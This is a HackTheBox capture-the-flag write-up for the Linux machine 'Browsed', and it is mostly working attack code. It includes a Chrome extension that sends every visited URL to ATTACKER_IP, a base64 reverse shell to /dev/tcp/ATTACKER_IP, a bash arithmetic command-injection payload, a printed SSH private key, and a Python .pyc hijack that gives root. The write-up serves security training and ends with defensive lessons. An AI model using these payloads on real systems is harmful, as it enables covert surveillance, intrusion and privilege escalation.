HTB: Browsed Writeup

Browsed - HackTheBox Writeup

Machine Information

AttributeDetails
NameBrowsed
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Browsed is a medium-difficulty Linux machine that demonstrates the dangers of allowing users to upload browser extensions without proper sandboxing. The attack chain begins by creating a malicious Chrome extension to spy on a developer’s browsing activity, revealing an internal Gitea instance. Through source code analysis of a Flask application, we discover a command injection vulnerability in a bash script that uses the arithmetic comparison operator -eq, allowing arbitrary code execution. Since the Flask service runs only on localhost, we exploit it via a second malicious extension executed in the developer’s browser context. After obtaining user-level access, privilege escalation is achieved by manipulating Python bytecode in a writable __pycache__ directory, allowing us to inject arbitrary code into a root-privileged script that imports the compromised module.

TL;DR: Spy on developer → Find internal Gitea → Exploit bash arithmetic injection → Reverse shell as larry → Replace .pyc bytecode → Root shell.


Reconnaissance

Port Scanning

Terminal window
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.105 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.244.79

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
80/tcp open http nginx 1.24.0 (Ubuntu)

Two services are exposed: SSH on port 22 and a web server on port 80. The HTTP service is the primary attack surface.

Service Enumeration

HTTP (Port 80):

Visiting the web application reveals a company website dedicated to browser extensions. The site prominently features an upload functionality that accepts Chrome extensions as zip files. A critical detail from the site is that developers using Chrome v134 will review and test uploaded extensions. Chrome v134 relies on Manifest v3 specifications for extensions, which is essential for crafting our malicious payloads.

Vulnerability Assessment

Identified Vulnerabilities:

  1. Unsafe Extension Installation - The application allows uploading arbitrary Chrome extensions that are automatically tested by developers, creating a trust exploitation vector.
  2. Command Injection in Bash Script - The Flask application’s routines.sh script uses the -eq operator with user input in an arithmetic context, allowing command execution through bash parameter expansion.
  3. Insecure Python Bytecode Handling - The __pycache__ directory containing compiled Python bytecode is world-writable, allowing low-privileged users to replace .pyc files executed by root-level scripts.
  4. Localhost-Bound Services - Internal Flask services on localhost are accessible via browser context of developers.

Initial Foothold

Exploitation Path: Browser Extension Reconnaissance

Step 1: Create a Spying Extension

Create a manifest.json file that defines a Manifest v3 extension:

{
"manifest_version": 3,
"name": "Parallel Request Sender",
"version": "1.0",
"description": "Spyer extension to log visited websites",
"permissions": [
"declarativeNetRequest",
"declarativeNetRequestWithHostAccess",
"storage",
"tabs",
"webRequest"
],
"host_permissions": [
"<all_urls>"
],
"background": {
"service_worker": "background.js"
}
}

Create the background.js file that intercepts all network requests:

// Log network requests
chrome.webRequest.onBeforeRequest.addListener(
function (details) {
// Check if the request is not already made to our host,
// since it would keep creating requests infinitely
if (!details.url.includes("http://ATTACKER_IP")) {
// Send a parallel request back to us
fetch("http://ATTACKER_IP:4444", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
originalUrl: details.url,
timestamp: new Date().toISOString(),
}),
mode: 'no-cors',
})
}
},
{ urls: ["<all_urls>"] } // Monitor all URLs
);

Package the extension into a zip file:

Terminal window
zip addon.zip manifest.json background.js

Step 2: Set Up Request Listener

Create a Node.js server (server.js) to capture incoming HTTP POST requests:

const http = require('http');
http.createServer((req, res) => {
let body = '';
req.on('data', chunk => body += chunk);
req.on('end', () => {
console.log(`\n--- ${req.method} ${req.url} ---\n${JSON.stringify(req.headers, null, 2)}\nBody:\n${body}`);
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('OK\n');
});
}).listen(4444, () => console.log('Server listening on port 4444'));

Start the server:

Terminal window
node server.js

Step 3: Upload Extension and Monitor Activity

Upload the addon.zip file through the web application. After a short delay, incoming requests appear on the listener:

--- POST / ---
{
"host": "10.10.16.18:4444",
"connection": "keep-alive",
"user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
...
}
Body:
{"originalUrl":"http://browsedinternals.htb/assets/img/logo.svg","timestamp":"2026-03-19T13:42:53.579Z"}

Step 4: Access Internal Gitea Instance

The captured requests reveal an internal hostname: browsedinternals.htb. Add this to your /etc/hosts file:

Terminal window
echo "10.129.244.79 browsedinternals.htb" | sudo tee -a /etc/hosts

Accessing http://browsedinternals.htb reveals a Gitea instance with a public repository named MarkdownPreview. Clone the repository to analyze the source code:

Terminal window
git clone http://browsedinternals.htb/larry/markdownPreview.git
cd markdownPreview

Exploitation Path: Command Injection Discovery

Step 5: Analyze Flask Application

Reviewing app.py reveals the vulnerable /routines/<rid> endpoint:

@app.route('/routines/<rid>')
def routines(rid):
# Call the script that manages the routines
# Run bash script with the input as an argument (NO shell)
subprocess.run(["./routines.sh", rid])
return "Routine executed !"

While subprocess.run() is called safely without shell=True, the user input rid is passed directly to routines.sh. Examining the bash script reveals the vulnerability:

Terminal window
if [[ "$1" -eq 0 ]]; then

The -eq operator forces bash to interpret input as an arithmetic expression, allowing command substitution via $() during parsing—even without explicit eval. This is a subtle but dangerous edge case.

Step 6: Verify Command Injection

Test the vulnerability locally:

Terminal window
./routines.sh 'x[$(cat /etc/passwd > /proc/$$/fd/1)]'

Output confirms command execution:

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin:/usr/sbin/nologin
...

Exploitation Path: Remote Code Execution via Extension

Step 7: Create Exploitation Extension

Since the Flask application runs only on 127.0.0.1, direct exploitation isn’t possible. However, the developer’s browser has localhost access. Create a second malicious extension that executes the vulnerable endpoint.

First, encode a reverse shell payload in base64:

Terminal window
echo -n "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1" | base64

Output:

YmFzaCAtaSA+JiAvZGV2L3RjcC9BUFRBQ0tFUl9JUC85MDAxIDA+JjE=

Create a new manifest.json (reuse from Step 1):

{
"manifest_version": 3,
"name": "Parallel Request Sender",
"version": "1.0",
"description": "Spyer extension to log visited websites",
"permissions": [
"declarativeNetRequest",
"declarativeNetRequestWithHostAccess",
"storage",
"tabs",
"webRequest"
],
"host_permissions": [
"<all_urls>"
],
"background": {
"service_worker": "background.js"
}
}

Create a new background.js with the payload:

function onExtensionLoaded() {
fetch('http://127.0.0.1:5000/routines/x[$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BUFRBQ0tFUl9JUC85MDAxIDA+JjE= | base64 -d|bash)]');
}
onExtensionLoaded();

Package the extension:

Terminal window
zip pwn.zip manifest.json background.js

Step 8: Establish Reverse Shell

Set up a netcat listener:

Terminal window
nc -nvlp 9001

Upload the pwn.zip file to the web application. When the developer installs the extension, the background service worker executes immediately, triggering the vulnerable endpoint and delivering the reverse shell:

Terminal window
$ nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.16.18] from (UNKNOWN) [10.129.244.79] 51490
bash: cannot set terminal process group (1416): Inappropriate ioctl for device
bash: no job control in this shell
larry@browsed:~/markdownPreview$ id
uid=1000(larry) gid=1000(larry) groups=1000(larry)

Step 9: Stabilize Access with SSH

Extract the user’s SSH private key:

Terminal window
cat ~/.ssh/id_ed25519

Output:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrwAAAJAXb7KHF2+y
hwAAAAtzc2gtZWQyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrw
AAAEBRIok98/uzbzLs/MWsrygG9zTsVa9GePjT52KjU6LoJdlkhk8FEXwXNCOe06dt3BiJ
Iti0nZWQHBABLy8gq3OvAAAADWxhcnJ5QGJyb3dzZWQ=
-----END OPENSSH PRIVATE KEY-----

Save the key locally and set proper permissions:

Terminal window
cat > id_larry.rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrwAAAJAXb7KHF2+y
hwAAAAtzc2gtZWQyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrw
AAAEBRIok98/uzbzLs/MWsrygG9zTsVa9GePjT52KjU6LoJdlkhk8FEXwXNCOe06dt3BiJ
Iti0nZWQHBABLy8gq3OvAAAADWxhcnJ5QGJyb3dzZWQ=
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 id_larry.rsa

Connect via SSH:

Terminal window
ssh -i id_larry.rsa larry@10.129.244.79

Verify access:

Terminal window
larry@browsed:~$ id
uid=1000(larry) gid=1000(larry) groups=1000(larry)

Retrieve the user flag:

Terminal window
cat /home/larry/user.txt

Privilege Escalation

Enumeration

Check sudo privileges:

Terminal window
sudo -l

Output:

Matching Defaults entries for larry on browsed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User larry may run the following commands on browsed:
(root) NOPASSWD: /opt/extensiontool/extension_tool.py

The user can execute /opt/extensiontool/extension_tool.py as root without a password. Examine the directory:

Terminal window
ls -la /opt/extensiontool/

Output:

total 24
drwxr-xr-x 4 root root 4096 Dec 11 07:54 .
drwxr-xr-x 4 root root 4096 Aug 17 2025 ..
drwxrwxr-x 5 root root 4096 Mar 23 2025 extensions
-rwxrwxr-x 1 root root 2739 Mar 27 2025 extension_tool.py
-rw-rw-r-- 1 root root 1245 Mar 23 2025 extension_utils.py
drwxrwxrwx 2 root root 4096 Dec 11 07:57 __pycache__

Critical Finding: The __pycache__ directory is world-writable (mode 777). This is where Python caches compiled bytecode (.pyc files).

Vulnerability Analysis

Examine the main script:

Terminal window
cat /opt/extensiontool/extension_tool.py

The script imports from a local module:

#!/usr/bin/python3.12
import json
import os
from argparse import ArgumentParser
from extension_utils import validate_manifest, clean_temp_files # <-- LOCAL IMPORT
import zipfile

View the imported module:

Terminal window
cat /opt/extensiontool/extension_utils.py

The module defines functions like validate_manifest() and clean_temp_files() that are called during script execution. Python automatically caches these modules as .pyc files in __pycache__. If we can replace the cached bytecode, we can inject arbitrary code that executes with root privileges.

Exploitation: Python Bytecode Injection

Step 1: Generate Legitimate .pyc Header

First, trigger the script with sudo to ensure a valid .pyc file is created:

Terminal window
sudo /opt/extensiontool/extension_tool.py

This generates a .pyc file with a valid Python 3.12 header. Check the cache:

Terminal window
ls -al /opt/extensiontool/__pycache__/

Output:

total 12
drwxrwxrwx 2 root root 4096 Mar 20 12:11 .
drwxr-xr-x 4 root root 4096 Dec 11 07:54 ..
-rw-r--r-- 1 root root 1880 Mar 20 12:11 extension_utils.cpython-312.pyc

Step 2: Create Malicious Module

Create a minimal Python module in /tmp/ with the functions we want to override:

Terminal window
cat > /tmp/evil_module.py << 'EOF'
def validate_manifest(path):
import os
os.system("/bin/bash")
def clean_temp_files(path):
import os
os.system("/bin/bash")
EOF

Compile it to bytecode:

Terminal window
python3 -m py_compile /tmp/evil_module.py

This creates /tmp/__pycache__/evil_module.cpython-312.pyc.

Step 3: Transplant .pyc Header

Python .pyc files have a 16-byte header containing version and timestamp information. If this doesn’t match, Python may reject the file. Create a script to transplant the header from the legitimate file:

Terminal window
cat > /tmp/create_header.py << 'EOF'
def transplant_header(good_pyc, evil_pyc, output_pyc):
with open(good_pyc, 'rb') as f:
good_header = f.read(16)
with open(evil_pyc, 'rb') as f:
evil_data = f.read()
new_pyc = good_header + evil_data[16:]
import os
os.system(f"rm {output_pyc}")
with open(output_pyc, 'wb') as f:
f.write(new_pyc)
print(f"[+] Transplanted header from {good_pyc} into {evil_pyc}, saved as {output_pyc}")
transplant_header(
'/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc',
'/tmp/__pycache__/evil_module.cpython-312.pyc',
'/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc'
)
EOF

Run the script:

Terminal window
python3 /tmp/create_header.py

Output:

rm: remove write-protected regular file '/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc'? y
[+] Transplanted header from /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc into /tmp/__pycache__/evil_module.cpython-312.pyc, saved as /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc

Step 4: Gain Root Access

Execute the privileged script. When it imports the module, Python loads our malicious .pyc file, triggering arbitrary code execution as root:

Terminal window
sudo /opt/extensiontool/extension_tool.py --ext Fontify

A root shell is spawned:

Terminal window
root@browsed:/tmp/__pycache__# id
uid=0(root) gid=0(root) groups=0(root)

Step 5: Retrieve Root Flag

Terminal window
cat /root/root.txt

Attack Chain Summary

Create Spying Extension → Upload & Monitor → Discover Internal Gitea
Analyze Source Code → Find Command Injection in routines.sh
Create Exploitation Extension → Deliver via Developer's Browser
Reverse Shell as larry@browsed
Discover Writable __pycache__ Directory
Create Malicious .pyc → Transplant Header → Replace Bytecode
Execute Sudo Script → Root Shell

Tools Used

ToolPurpose
nmapNetwork reconnaissance and port scanning
gitCloning and analyzing the Gitea repository
curl/fetchHTTP requests for extension communication
node.jsRunning HTTP server to capture requests
python3Python bytecode compilation and manipulation
netcatEstablishing reverse shell connections
sshSecure shell access with private key authentication
zipPackaging malicious Chrome extensions

Key Learnings

Techniques Practiced

  • Chrome Extension Manifest v3 - Building modern extensions with service workers instead of background pages
  • Network Interception - Exploiting trusted client-side code to discover internal infrastructure
  • Bash Arithmetic Injection - Understanding how -eq operator in conditional statements enables command execution
  • Python Bytecode Manipulation - Crafting malicious .pyc files by header transplantation
  • Privilege Escalation via Module Hijacking - Exploiting writable cache directories to inject code into privileged Python processes
  • Localhost Bypass - Using browser context to access localhost-only services

Lessons Learned

  1. Trust Boundaries Matter - Allowing users to upload and run code (even for “testing”) should never be done without strict sandboxing. The developer’s browser became an attack vector into internal systems.

  2. Bash Arithmetic Edge Cases Are Dangerous - The -eq operator forcing arithmetic evaluation is a subtle but critical vulnerability. Always validate and sanitize input regardless of how it’s used.

  3. Cache Directories Require Strict Permissions - Bytecode caches like __pycache__ should never be world-writable. Python will execute whatever .pyc file it finds, regardless of source.

  4. Local Module Imports Are a Risk - Relative imports (like from extension_utils import ...) in privileged scripts create a hijacking opportunity if the import path can be controlled or manipulated.

  5. Internal Services Aren’t Always Private - Services bound to 127.0.0.1 can still be accessed by code running in the user’s browser context, requiring defense-in-depth approaches.

  6. Chrome Extensions Are Powerful - Extensions have broad network access and persistent execution capability—only install extensions from trusted sources.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>